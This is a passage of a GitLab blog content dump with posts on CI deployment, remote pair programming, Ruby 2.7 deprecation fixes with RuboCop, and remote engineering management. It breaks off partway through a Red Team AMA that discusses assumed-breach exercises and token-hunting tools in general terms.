that is regularly executed. Therefore it can run inside GitLab CI.\n2. Most times you'll need to provide some secret key(s) to the command you execute. Store these secret keys in **Settings > CI/CD > Variables**.\n3. With GitLab CI, you can flexibly specify which branches to deploy to.\n4. If you deploy to multiple environments, GitLab will conserve the history of deployments,\nwhich allows you to rollback to any previous version.\n5. For critical parts of your infrastructure, you can enable manual deployment from GitLab interface, instead of automated deployment.\n\n\u003Cstyle>\nimg.illustration {\n  padding-left: 12%;\n  padding-right: 12%;\n\n}\n@media (max-width: 760px) {\n  img.illustration {\n    padding-left: 0px;\n    padding-right: 0px;\n  }\n}\n\u003C/style>\n",[1384,1385,696],{"slug":19806,"featured":6,"template":678},"ci-deployment-and-environments","content:en-us:blog:ci-deployment-and-environments.yml","Ci Deployment And Environments","en-us/blog/ci-deployment-and-environments.yml","en-us/blog/ci-deployment-and-environments",{"_path":19812,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":19813,"content":19818,"config":19823,"_id":19825,"_type":16,"title":19826,"_source":17,"_file":19827,"_stem":19828,"_extension":20},"/en-us/blog/remote-pair-programming-tips",{"title":19814,"description":19815,"ogTitle":19814,"ogDescription":19815,"noIndex":6,"ogImage":14699,"ogUrl":19816,"ogSiteName":1180,"ogType":1181,"canonicalUrls":19816,"schema":19817},"4 tips for agile remote pair programming","Pair programming is great for remote collaboration. Our remote pairing enthusiasts share how to make the most of it.","https://about.gitlab.com/blog/remote-pair-programming-tips","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"4 tips for agile remote pair programming\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Rebecca Dodd\"}],\n        \"datePublished\": \"2021-02-04\",\n      }",{"title":19814,"description":19815,"authors":19819,"heroImage":14699,"date":19820,"body":19821,"category":6634,"tags":19822},[19026],"2021-02-04","\n\n_This is the second post in our ongoing series about remote work and engineering. Check out our first post, \n[Tips for engineering managers learning to lead remotely](/blog/tips-for-managing-engineering-teams-remotely/)._\n\nAs more companies shift to remote-first or all-remote work, engineers may be feeling the loss \nof their teammates' company. The good news is that unlike other forms of in-person collaboration,\npair programming translates really well to remote work, and in some cases is even more effective. \n\nOur [support engineers](https://handbook.gitlab.com/job-families/engineering/support-engineer/overview/) do regular \npair programming on tickets, and many speak of it as a highlight of their work weeks due to the \nsocial element of the calls, as well as it proving more efficient for some troublesome tickets. \n(We'll dive into why, but feel free to jump to our [tips for effective remote pair programming](#how-to-get-the-most-out-of-remote-pairing)\nif you prefer!)\n\n## What is pair programming?\n\nPair programming (sometimes referred to as paired programming)  is an agile, collaborative software development method done between a team of two developers that each take on an individual role. These roles are called the driver and the navigator. The driver works directly at the computer while the navigator concentrates on the overall programming direction.\n\nThe purpose of pair programming is to design, code, and test user stories all on one computer. Although the driver is the primary teammate at the keyboard, this system requires that each developer role have equal time and responsibility to complete their part of the development. The driver writes the code and the navigator reviews it, and these roles can be switched between the two teammates as needed.\n\n## It's more than just work\n\n[Ronald van Zon](/company/team/#rvzon), senior support engineer, explained that pair programming provides an opportunity for team members to chat about their lives outside of work, instead of focusing solely on outstanding tickets. \n\n\"You see someone face to face, so you might ask them, 'Hey, how was Christmas? How are you doing?' \nIf they have something going on in their private life, the next time I see them I will ask about it, so there's a social aspect to it.\"\n\n\"It's a lot of fun. In cases where you're really focused on work and you have a very difficult ticket, it's actually very nice to have someone there just to throw your ideas at.\" \n\n## You see the problem more clearly\n\nInstead of relying solely on your judgment, programming in pairs means your teammate might ask you questions about something, introducing ideas you hadn't necessarily thought of, and identifying gaps you would otherwise miss.\n\n\"For example, we had one very long-running ticket, where we'd tried a hundred thousand things already, \nand weren't sure what to do next,\" Ronald says. \"Just by talking with a group and explaining what the situation \nwas helped me realize what the next steps should be. I could have looked at that ticket the entire \nday and wouldn't have come up with it on my own.\"\n\nSenior support \nengineer [Arihant Godha](/company/team/#arihantar) explains another scenario where pair programming paid off in a big way. \"In one of our pairings we worked \non a complex customer issue related to merge trains, where we did a multi-cross-team pairing \nand identified the crucial issue which was a blocker for one of our biggest customers. \nWe didn't just identify the problem, we also found the workaround for it until our developers \nwere able to deliver a fix.\"\n\n## You can pool your knowledge\n\nAs the saying goes, two heads are better than one. Pair programming allows engineers who may be experts on different things to come together to tackle a single problem. \n\n\"Pairing on tickets is a great way to collaborate on problem solving,\" says [Cynthia Ng](/company/team/#cynthia), \nsenior support engineer. \"It’s especially useful at GitLab, where we have a single product that \ncovers a wide variety of areas, because each person has expertise on different parts. \nSeeing how others approach and solve problems can also greatly inform your own work as well.\"\n\nSupport engineer [Anton Smith](/company/team/#anton) agrees: \"I find that I learn and absorb so much knowledge just from conversing with another support engineer in a pairing call.\"\n\n## You get to the best solution\n\n\"A problem can have multiple solutions and multiple approaches to solve,\" says Arihant. \n\"Sometimes ticket pairing gives you the best approach to solve a ticket. It also helps you in learning \nand sharing knowledge. For example: If you can ask for all the required information in one\n ticket response rather than having lots of back and forth, then it’s a great user experience.\" \n \nCynthia shares a specific example from her past experience with pair programming. \"[Davin Walker](/company/team/#davinwalker) and I paired a couple of times on getting trials \nand their expiry dates showing on the admin side of GitLab’s Customers Portal. \nThe [merge request](https://gitlab.com/gitlab-org/customers-gitlab-com/-/merge_requests/2096) \nis meant to help improve our team’s efficiency in handling SaaS trial-related requests. \nPairing really helped to work out the scope of the issue and what we could ship as the first iteration.\"\n\n## Benefits of pair programming\n\nThe benefit of pair programming is that there are two sets of eyes to help review the code being produced to ensure that it is as good as it possibly can be. This is commonly known as the four-eyes principle. \n\nThis leads to other benefits, like…\n\n* Reducing the number of coding mistakes\n* Becoming a better coder overall\n* Learning from another experienced developer as well as learning from the mistakes made during a project\n* Building better collaboration skills\n\nThis system also breaks up the development project into smaller, specifically defined tasks under the agile project structure. \n\n## Why _remote_ pair programming works\n\nIn speaking to our remote pairing fans, it's clear that pair programming is a form of collaboration that \ndoesn't lose anything by being conducted remotely.\n\n\"It's no different from sitting next to the person. In fact it gives you a better view to look at and \nfind better approaches simultaneously without wasting any time,\" says Arihant.\n\n\"I’ve done pair programming in person and I actually find it easier remote because of screen sharing,\" explains Cynthia. \"You have more control over what you’re looking at and how, whereas in person, often the main thing you’re working on together is on one person’s screen.\"\n\n## How to get the most out of remote pairing\n\n### 1. Know when to pair \n\nWe've focused on tickets so far because our support engineers at GitLab are our biggest remote pairing advocates. \nSupport engineering often involves debugging a customer problem, so it tracks that pairing would be \nuseful (compared to developers who are usually focused on building something). But really, any developer can \nbenefit from pairing when stuck on a problem. \n\nRonald worked as a developer for more than 15 years before joining the Support team at GitLab, \nincluding a year spent as the only developer for an entire company. \"One thing I learned really \nquickly was that if I was stuck on a problem, essentially, I had no one to talk to, which made things difficult.\"\n\nWorking in isolation, without the distractions of the office, is great when you're in the zone. \"It works until you run into a difficult problem to solve,\" says Ronald. \"Spending three days on a problem, before getting to the single line of code that solves it, sucks.\" If you find yourself not making any progress on a challenge, it's probably time to pair.\n\n### 2. Go in with a clear agenda\n\nOut of [respect for everyone's time](https://handbook.gitlab.com/handbook/values/#be-respectful-of-others-time), we recommend that every meeting start with an agenda, and scheduling a pair programming session is no exception.\n\n\"I think it’s important to set expectations or goals for the session. It can be fairly general like, 'explore what options we have,' but the key is to make sure you’re on the same page about what you want to do during the session,\" says Cynthia.\n\nArihant agrees: \"The agenda should be set beforehand so you have enough time to understand the problem statement.\" \nOtherwise you might spend 20 minutes reading through tickets or bug reports before landing on something to work on together. \n\n### 3. Tackle bugs one at a time\n\n\"Take one problem at a time and try to reproduce if you are trying to solve a bug,\" Arihant recommends. It might be tempting to try to solve more than one problem if you think they're connected, but you really won't know that until you fix the first thing. \n\n### 4. Speak up! \n\nThis goes for remote or in-person pairing: speaking freely helps to get to the root of the problem more quickly.\n\"Don’t be afraid to voice your opinion,\" advises Anton. \"Even if something is wrong, it helps eliminate the cause of a problem and it might spark alternative ideas.\" \n\n## How we do remote pairing \n\nAt GitLab, we have a mix of ad hoc and scheduled pairing sessions. \"Pairings are required as \npart of the Support team onboarding, and we also have a support [Donut app](https://www.donut.com/) \nchannel that people can join to decide who to pair with,\" explains Cynthia.\n\nHaving recurring pairing sessions can help engineers stay connected with their teammates, says Anton, but spontaneity can be helpful if you're swamped or get stuck on a problem: \"If I am working in the queue to stop tickets from breaching, sometimes I will publicly post my Zoom room link in Slack and allow anyone to join.\"\n\nArihant says, \"If I want to pair with someone I simply ask them in team chat or simply send them a calendar invite. If it is for a specific topic or group, then I check the [area of focus](https://gitlab-com.gitlab.io/support/team/areas-of-focus.html) or [skills by person](https://gitlab-com.gitlab.io/support/team/skills-by-person.html) pages to find the best person to partner with.\"\n\nWe also have a [dedicated issue tracker for support pairings](https://gitlab.com/gitlab-com/support/support-pairing/-/issues)\nso team members can track who they've paired with and on what.\n\n_Keep an eye out for the next post in our series, where we'll be sharing more remote collaboration practices for engineers._\n",[2368,3798],{"slug":19824,"featured":6,"template":678},"remote-pair-programming-tips","content:en-us:blog:remote-pair-programming-tips.yml","Remote Pair Programming Tips","en-us/blog/remote-pair-programming-tips.yml","en-us/blog/remote-pair-programming-tips",{"_path":19830,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":19831,"content":19837,"config":19843,"_id":19845,"_type":16,"title":19846,"_source":17,"_file":19847,"_stem":19848,"_extension":20},"/en-us/blog/how-we-automatically-fixed-hundreds-of-ruby-2-7-deprecation-warnings",{"title":19832,"description":19833,"ogTitle":19832,"ogDescription":19833,"noIndex":6,"ogImage":19834,"ogUrl":19835,"ogSiteName":1180,"ogType":1181,"canonicalUrls":19835,"schema":19836},"How we automatically fixed thousands of Ruby 2.7 deprecation warnings","The upgrade to Ruby 2.7 for GitLab involved thousands of deprecation warnings across hundreds of files. Here's how we fixed most of them.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749681882/Blog/Hero%20Images/daria-nepriakhina-zNU3ErDAbAw-unsplash.jpg","https://about.gitlab.com/blog/how-we-automatically-fixed-hundreds-of-ruby-2-7-deprecation-warnings","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How we automatically fixed thousands of Ruby 2.7 deprecation warnings\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Thong Kuah\"}],\n        \"datePublished\": \"2021-02-03\",\n      }",{"title":19832,"description":19833,"authors":19838,"heroImage":19834,"date":19840,"body":19841,"category":734,"tags":19842},[19839],"Thong Kuah","2021-02-03","\n\nRuby 3.0 was just released on Dec. 25, 2020, with some new features and some breaking changes.\nGitLab was at Ruby 2.6, and we wanted to upgrade to Ruby 2.7 in preparation to eventually upgrade to Ruby 3.\n\nIn Ruby 3.0, [positional and keyword arguments will be separated](https://www.ruby-lang.org/en/news/2019/12/12/separation-of-positional-and-keyword-arguments-in-ruby-3-0/). To help developers prepare for this, in Ruby 2.7,\nwarnings were added. In GitLab, we discovered we have [thousands\nof such warnings](https://gitlab.com/gitlab-org/gitlab/-/issues/257438) across hundreds of files:\n\n```\nwarning: Using the last argument as keyword parameters is deprecated; maybe ** should be added to the call\n```\n\n## Boring solutions\n\nTo address this warning, the obvious, and boring solution was to simply add `**` to the last keyword argument.\nFor the most part, this is what we did. However, while this was under way, we also developed a RuboCop check that could\ndetect, and automatically fix the keyword arguments. The benefit for this approach was that we can\n[autocorrect](https://docs.rubocop.org/rubocop/usage/auto_correct.html) any existing warnings en masse.\n\nThe tricky part about this is that RuboCop is designed to statically analyze Ruby code, whereas the warnings were\ngenerated by Ruby at runtime.\n\n## A way forward\n\nAfter some research, we found a way to utilize our comprehensive RSpec test suite to\ngather all the warnings using the [Deprecation Toolkit gem](https://github.com/shopify/deprecation_toolkit). We also\nconsidered using the [warning gem](https://github.com/jeremyevans/ruby-warning) at one point, but preferred Deprecation Toolkit\nas the results were easier to process.\n\nDeprecation Toolkit supports RSpec out of the box, so it was really simple to configure. It also has a simple YAML-based file format to record all deprecations. We then adapted this to record deprecation warnings for Ruby 2.7\nlast keyword arguments with:\n\n```ruby\n  kwargs_warnings = [\n    # Taken from https://github.com/jeremyevans/ruby-warning/blob/1.1.0/lib/warning.rb#L18\n    %r{warning: (?:Using the last argument (?:for `.+' )?as keyword parameters is deprecated; maybe \\*\\* should be added to the call|Passing the keyword argument (?:for `.+' )?as the last hash parameter is deprecated|Splitting the last argument (?:for `.+' )?into positional and keyword parameters is deprecated|The called method (?:`.+' )?is defined here)\\n\\z}\n  ]\n  DeprecationToolkit::Configuration.warnings_treated_as_deprecation = kwargs_warnings\n```\n\nLastly, we wrote a new RuboCop check, called\n[`Lint/LastKeywordArgument`](https://gitlab.com/gitlab-org/gitlab/-/blob/632b7768f7f9014951170a006489d66b34001c68/rubocop/cop/lint/last_keyword_argument.rb),\nthat checks against the YAML files generated by Deprecation Toolkit, and\ngenerates offenses. Now we can very quickly, statically check the whole GitLab\ncodebase, and even autocorrect! You can see how [Deprecation Toolkit and the\n`LastKeywordArgument` check was put together in this merge\nrequest](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/47720). You can\nsee a sample output from running the `LastKeywordArgument` cop check:\n\n![LastKeywordArgument RuboCop offenses](https://about.gitlab.com/images/blogimages/last-keyword-argument-rubocop-offenses.png){: .shadow.center}\nSample output from running the `LastKeywordArgument` cop check\n{: .note .text-center}\n\n## Automatically fix everything\n\nNow we have an automatic RuboCop check, which can also autocorrect, we create merge requests to autocorrect!\nFor example, we autocorrected 62 instances across [39 spec files](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/48407).\nAutomation for the win!\n\nWe then went one step further, and integrated this in our GitLab CI pipelines. Using the `artifacts` feature of GitLab CI, we\ngathered the `deprecations` directory from all RSpec jobs (we have about 400 such jobs). After all the RSpec jobs have passed, we then made a `post-test` job to\n[check the results](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/49792) with the `LastKeywordArgument` cop. Below is a\nsnippet of the GitLab CI `.gitlab-ci.yml` configuration:\n\n```yaml\nstages:\n  - test\n  - post-test\n\n# This inherited job is used by all RSpec jobs\n.rspec-base:\n  stage: test\n  artifacts:\n    - deprecations/\n\n# GitLab CI job artifacts from previous stages are passed to this job\nrspec:deprecations:\n  stage: post-test\n  script:\n    - bundle exec rubocop --only Lint/LastKeywordArgument --parallel\n  artifacts:\n    - deprecations/\n```\n\nThis enabled us to have a single job where [we can see all deprecation warnings](https://gitlab.com/gitlab-org/gitlab/-/jobs/991299621).\n\n## Conclusion\n\nWith this measure we went from about 30,000 warnings related to keyword arguments to about 800 remaining warnings, largely stemming from\ndependencies. Feel free to follow our progress in [GitLab issue #257438](https://gitlab.com/gitlab-org/gitlab/-/issues/257438), and contribute to\nfix the remaining warnings if you are interested!\n\nCover image by [Daria Nepriakhina](https://unsplash.com/@epicantus) on [Unsplash](https://unsplash.com/photos/zNU3ErDAbAw)\n{: .note}\n",[815],{"slug":19844,"featured":6,"template":678},"how-we-automatically-fixed-hundreds-of-ruby-2-7-deprecation-warnings","content:en-us:blog:how-we-automatically-fixed-hundreds-of-ruby-2-7-deprecation-warnings.yml","How We Automatically Fixed Hundreds Of Ruby 2 7 Deprecation Warnings","en-us/blog/how-we-automatically-fixed-hundreds-of-ruby-2-7-deprecation-warnings.yml","en-us/blog/how-we-automatically-fixed-hundreds-of-ruby-2-7-deprecation-warnings",{"_path":19850,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":19851,"content":19856,"config":19861,"_id":19863,"_type":16,"title":19864,"_source":17,"_file":19865,"_stem":19866,"_extension":20},"/en-us/blog/tips-for-managing-engineering-teams-remotely",{"title":19852,"description":19853,"ogTitle":19852,"ogDescription":19853,"noIndex":6,"ogImage":16010,"ogUrl":19854,"ogSiteName":1180,"ogType":1181,"canonicalUrls":19854,"schema":19855},"Tips for managing remote working engineering teams","Newly remote engineering managers – how's it going? We offer some tips from our team members who manage remotely.","https://about.gitlab.com/blog/tips-for-managing-engineering-teams-remotely","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Tips for managing remote working engineering teams\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sara Kassabian\"}],\n        \"datePublished\": \"2021-01-29\",\n      }",{"title":19852,"description":19853,"authors":19857,"heroImage":16010,"date":19858,"body":19859,"category":6634,"tags":19860},[17272],"2021-01-29","\n\nThe transition from working in an office to working for an all-remote company [isn’t always easy](/company/culture/all-remote/hybrid-remote/). Many engineers are used to whiteboarding a troublesome piece of code with their colleagues and being able to tap their manager on the shoulder when they get really stuck. In-office engineering managers are accustomed to reading body language and following verbal clues when interacting with the team members they supervise. For developers used to working in an office, it takes some time to adjust to working autonomously from home, instead of in a pod of desks with a team.\n\nGitLab team members share how they managed the shift from in-person, colocated work to working and managing teams remotely at GitLab to help others make the transition to remote work more easily.\n\n\"My day-to-day role is very similar,\" says [Max Woolf](/company/team/#mwoolf), senior backend engineer on the Manage:Compliance team at GitLab. \"I work closely with product owners or product managers deciding, refining work, and then writing the code to make those things happen on a daily basis. The main difference was that I worked in an office with 10, 11 other people, and now I work on my own with about 1,200 other people.\"\n\nOverall, engineering managers say the goals of leading the team are the same, but the way you achieve those goals differs while working in-person and working remotely.\n\n## When remote working, clear communication is key\n\nWhen working in-person, some of the hallmarks of asynchronous communications (document everything, be sensitive to your colleagues' time) are often sacrificed in favor of the ease of informal, verbal exchanges.\n\nThe reality is, there are times when an engineer's question just requires a quick, 30-second answer, says [Cheryl Li](/company/team/#cheryl.li), backend engineering manager for Verify at GitLab. It's easier when working in an office to just answer the question immediately, even if the question might be frequently asked or otherwise merits a documented response.\n\n[Corine Tan](https://twitter.com/itscorine), cofounder of Kona, [interviewed 500 remote managers in tech and summarized 21 key findings in a blog post](https://www.sikeinsights.com/post/21-tips-for-managing-remote-teams-in-2021) and on Twitter. She learned that a bias toward overcommunication and rigorous standards for documentation is key to successfully managing a remote team.\n\n{::options parse_block_html=\"false\" /}\n\n\u003Cdiv class=\"center\">\n\n\u003Cblockquote class=\"twitter-tweet\">\u003Cp lang=\"en\" dir=\"ltr\">#2 - Trust creates remote synergy. Low visibility can seed doubt.\u003Cbr>\u003Cbr>To build a culture of trust:\u003Cbr>- Assume positive intent 👍\u003Cbr>- Over-communicate 📣\u003Cbr>- Prioritize &gt; micromanage 📋\u003Cbr>- Set documentation standards 📚\u003Cbr>- Address issues as trends 📉\u003Cbr>- Learn fast(er) 🏎\u003Cbr>- Ask for feedback ❓\u003C/p>&mdash; Corine Tan 🍜 (@itscorine) \u003Ca href=\"https://twitter.com/itscorine/status/1354121806395805697?ref_src=twsrc%5Etfw\">January 26, 2021\u003C/a>\u003C/blockquote> \u003Cscript async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\n\u003C/div>\n\n[Craig Gomes](/company/team/#craig-gomes), backend engineering manager for Memory and Database at GitLab, echoes Corine's findings: Defining communication channels and setting clear expectations around communication is essential for successfully managing a remote team.\n\n\"If your team has a deployment issue to fix, it is easier in an in-person environment to gather everyone to quickly resolve it,\" says Craig. \"In an asynchronous/distributed environment it is important to provide as much information in an established communication channel as possible to resolve the issue in an efficient amount of time. The same goes for planning, goal setting, bug fixes, etc.\"\n\n## The biggest challenge: Building connected and engaged teams\n\nOne of the key benefits to managing a team in person is the interpersonal aspect. It is easier to build a connection and maintain team engagement when everyone is in the same place and there are more opportunities for small talk and shared laughs. Both Cheryl and [Rachel Nienaber](/company/team/#rnienaber), engineering manager: Scalability at GitLab, mentioned relying a lot of verbal cues and body language to decipher when a team member might be struggling with burnout or a personal challenge. Non-verbal cues are not easily replicated via Zoom, which means managers need to overcommunicate with their team members to learn about stress styles. The best way to do this? Ask.\n\n\"Just as teammates have preferences for feedback or learning, they also have different reactions to stress. Knowing whether to give space, lend an ear, or take action often starts with asking the person,\" writes [Corine in her blog post](https://www.sikeinsights.com/post/21-tips-for-managing-remote-teams-in-2021).\n\nIt takes intentionality and effort to build postive interpersonal connections in an all-remote team. At GitLab, we encourage team members to set up [coffee chats via Zoom](/company/culture/all-remote/informal-communication/#coffee-chats), and when Zoom fatigue hits we also have informal Slack channels that allow people to share photos and chat about shared interests. We will be exploring in depth how engineers can collaborate remotely in an upcoming blog post, so keep an eye out!\n\n### Leverage transparency\n\n\"From personal experience, one of the biggest challenges of remote work is ensuring engagement at a team and individual level,\" says Craig. One of the ways that Craig maintains transparency is by documenting team processes and expectations in the GitLab handbook, and by holding routine team processes reviews to check that everyone on the team is operating from a shared context.\n\n \"This level of transparency helps to improve shared context across stakeholders as well,\" he adds \"By shared context I mean that we have a shared communication platform, written and asynchronous, rather than having the context spread across multiple different channels (meetings, hallway conversations, emails, etc).\"\n\nRachel says that it was easier for her to know what her team was working on during the day while working as an engineering manager in an office setting. She was able to walk around the room and get a good sense of who was busy with what projects. But by the same token, she had to be prepared to be interrupted at any time by some of the engineers she supervised.\n\n\"When team members need help, it felt helpful and effective to unblock them quickly,\" says Rachel, who currently works as an engineering manager at GitLab. \"But this meant that if I needed time to focus and get a piece of work done, I would need to book out a meeting cubicle for myself.\"\n\nIf both parties are available, [hopping on a video call](/handbook/communication/#video-calls) to discuss the problem and share a screen in real-time is a good way for engineering managers like Rachel to help team members who are blocked on a particular piece of code. Video calls on an as-needed basis are far more effective than recurring meetings which people might feel obligated to fill, even if they don't have anything pressing to discuss. Speaking of which...\n\n## Shift from meetings to async\n\nThe three engineering managers we spoke with for this blog post agreed: Working as an engineering manager in an office setting meant _a lot_ of time spent in meetings.\n\n\"When I worked in a co-located environment, I largely performed the same duties, but I had a lot of more meetings,\" says Cheryl. \"Working asynchronously wasn't part of the culture, so every discussion or decision had to be vetted in a synchronous meeting, sometimes in a meeting with 20+ people. Meeting rooms became scarce due to the nature of how the company operated.\"\n\nRachel agreed, noting that she was devoting the majority of her time to different types of meetings, from standups, to 1-1s, project meetings, coordination meetings. Managing her calendar became a significant part of her role as engineering manager.\n\n\"Synchronous meetings were seen as a more effective way to get things done, but they took up a lot of time,\" says Rachel.\n\nInstead of defaulting to synchronous meetings by video call, we prefer asynchronous communication at GitLab. The core of asynchronous communication is documentation, as opposed to verbal communication. Documenting questions, answers, and discussions in one preferred communication channel allows team members to work on the time table that is most efficient for them, and helps projects move forward across time zones. We explain in depth [how asynchronous communication works at GitLab](/handbook/communication/#asynchronous-communication) in our company handbook, but these tips in particular are useful for reducing the number of synchronous meetings for your team:\n\n* Prioritize communication channels: By identifying a first-choice platform for discussion, everyone in the company is on the same page. [We discuss projects and questions in issues and merge requests](/handbook/communication/#start-with-a-merge-request), which are public by default, instead of using private messages on Slack or email.\n* Document everything: Being all-remote and globally distributed, we have a bias toward overcommunication. At any all-remote company, it is best to [define your thoughts clearly in written text](/company/culture/all-remote/effective-communication/) so discussion can continue even when everyone is not online at the same time.\n\n## More tips for engineering teams making the switch to remote\n\nThis video gives the full run-down to engineering companies or teams that are considering making the switch from colocated working to all-remote permanent.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube-nocookie.com/embed/MSj6-wC4f9w\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n",[3798],{"slug":19862,"featured":6,"template":678},"tips-for-managing-engineering-teams-remotely","content:en-us:blog:tips-for-managing-engineering-teams-remotely.yml","Tips For Managing Engineering Teams Remotely","en-us/blog/tips-for-managing-engineering-teams-remotely.yml","en-us/blog/tips-for-managing-engineering-teams-remotely",{"_path":19868,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":19869,"content":19875,"config":19879,"_id":19881,"_type":16,"title":19882,"_source":17,"_file":19883,"_stem":19884,"_extension":20},"/en-us/blog/you-asked-and-our-red-team-answered",{"title":19870,"description":19871,"ogTitle":19870,"ogDescription":19871,"noIndex":6,"ogImage":19872,"ogUrl":19873,"ogSiteName":1180,"ogType":1181,"canonicalUrls":19873,"schema":19874},"You asked, and our Red Team answered","We held a public, ask me anything with our Red Team. Here’s what people asked.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749670889/Blog/Hero%20Images/security-ama-blog-header.png","https://about.gitlab.com/blog/you-asked-and-our-red-team-answered","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"You asked, and our Red Team answered\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Heather Simpson\"}],\n        \"datePublished\": \"2021-01-29\",\n      }",{"title":19870,"description":19871,"authors":19876,"heroImage":19872,"date":19858,"body":19877,"category":18484,"tags":19878},[12307],"\n\n{::options parse_block_html=\"true\" /}\n\n\n\n> [\"Transparency is only a value if you do it when it is hard\"](https://handbook.gitlab.com/handbook/values/#transparency-is-only-a-value-if-you-do-it-when-it-is-hard) 👁\n\nThat's one of the lines that has stuck with me from my GitLab Inc. onboarding nearly 2 years ago. You know where practicing transparency is typically \"hard\"?\n    \n**Security.**\n    \nThankfully, I can honestly say that I work on a Security team that not only pushes the transparency boundaries in the industry, but also within GitLab itself. Take our [RedTeam](/handbook/security/threat-management/red-team/),  they’ve put out a whole public project called [Tech Notes](https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/red-team-tech-notes) which contains deep dives on some of the challenges and vulnerabilities they’ve encountered in their work.  They also just held their first-ever, live and public [AMA/Ask Me Anything](/handbook/communication/ask-me-anything/#purpose) on January 26, 2021 and responded to over a dozen questions about the work that they do and how they go about doing it here at GitLab.  If you joined us, thank you!  If you missed it, check out the replay below.  We’d love to hear from you on whether you’d like to see an event like this in the future with our Red Team (or [another group within Security](/handbook/security/#security-department)) -- just drop a comment below, tweet/DM one of us on twitter or message [GitLab Red Team email](mailto:redteam@gitlab.com). \n    \n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/FCu7MiRX5Lw\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n    \n## Who’s on the team\n    \n![GitLab Red Team](https://about.gitlab.com/images/blogimages/gl-red-team.png){: .shadow.large.center}\n     \n## Here’s what you asked\n    \n#### \u003Ci class=\"fas fa-question-circle\" style=\"color:rgb(252,109,38); font-size:.85em\" aria-hidden=\"true\">\u003C/i> Considering you're a full remote company, persistence on endpoints is still relevant in your activity or hunting tokens or credentials make more sense? Some Cloud services do not require you to reach them with VPN, so SSO tokens or credentials can be enough in some cases to reach sensitive information.\n{: #question}\n   \n**Note:** Added for clarity: “endpoint” refers to laptops and mobile devices.\n{: .note}\n\n**Steve Manzuik**: I think the security of our endpoints is still very important but you are right about SSO tokens / auth cookies being a bit higher priority for us. This is why Greg spent some time creating tooling, [gitrob](https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/gitrob) and [token hunter](https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/token-hunter), around finding secrets that get accidentally leaked in code. In addition, many of the other scenarios we have tested have been focused on obtaining auth tokens or credentials. \n    \n**Greg Johnson**:  You’re definitely making a good point about initial access here. Early on, there weren’t very many options for tooling in terms of hunting for the types of tokens you mentioned.  We’ve put a lot of time and iterations into improving our ability to find sensitive leaks quickly.  The tools that Steve mentioned are constantly being honed, changed, and reimagined completely to improve our techniques and the accuracy of the tools.\n    \n**Chris Moberly**: I have a bit of a non-technical, non-operation take on this as well. We’re an internal Red Team, meaning that our “targets” are often our colleagues and friends. These are people that we work with every day. Just in terms of efficiency, it is important to gain and maintain trust with them. For example, if we have a question about how a tricky bit of code works, we can just pop into an internal development Slack room and ask. We do this all the time, and our colleagues have been amazing at trusting our positive intentions and helping us out. But, even beyond efficiency, it simply would make for an unpleasant work environment if our colleagues were constantly worried about us trying to exploit their laptops. This is especially true in an all-remote company where those laptops are inside their homes and often double up as personal machines. Because of this, I really prefer emulating endpoint exploitation and persistence; either with a dummy device or a willing target who is 100% aware of what is going on. This is where the concept of an “assumed breach” can also come into play. We need to understand the threat model for an endpoint compromise, demonstrate the extraction of credentials, cookies, etc that would exist there, and then move on to attacking the cloud services as others have mentioned above. I think a bit of persistence emulation would be good for testing the efficacy of endpoint management tools: like, can we keep an implant running on a standard endpoint build for the duration of an operation without triggering alerts? If so, what can be fixed to get those alerts happening sooner?\n    \n    \n#### \u003Ci class=\"fas fa-question-circle\" style=\"color:rgb(252,109,38); font-size:.85em\" aria-hidden=\"true\">\u003C/i> To evaluate an insider threat, do you consider to run exercises from authorized users? I mean, run an exercise to simulate a legit change in your system but with some malicious effects? For eg. spin-up a new web service or whatever with some backdoors in order to be able to keep access?\n{: #question}\n    \n**Steve Manzuik**: Yes, we also run exercises that we call “assumed compromise scenarios” which fall in line with this exact question. The high-level premise is focused on what happens once an attacker gains access: legitimate or otherwise. Then we look at what that attacker may do, where they may pivot, and what actions we can detect and alert on.\n    \n**Frederic Loudet**: As an example, we will start an operation from a shell inside our infrastructure (on a VM or a container), assuming a rogue internal user is starting from there or someone managed to compromise some of our defenses and get this shell access.\n    \n**Greg Johnson**: We also model many of the ways an attacker may try to achieve persistence with these operations.\n\n    \n#### \u003Ci class=\"fas fa-question-circle\" style=\"color:rgb(252,109,38); font-size:.85em\" aria-hidden=\"true\">\u003C/i> When conducting adversarial simulation and/or exploratory penetration testing operations, what systems / platforms do you use to store, collaborate on, and manage testing related intelligence (execution times, commands, findings, etc.)?\n{: #question}\n    \n**Steve Manzuik**: We leverage our own product, GitLab, as well as a product known as [Vectr](https://vectr.io/) that helps us map our attacks and related detection/response.\n    \n**Chris Moberly**: We also leverage our own self-managed GitLab instance to make TTPs (Tactics, Techniques, and Procedures) automated and repeatable. This is done by hosting our custom attack tooling in projects and writing CI jobs that run them on demand and/or at scheduled intervals. We have one tool that builds and executes in CI and outputs the results onto a [GitLab 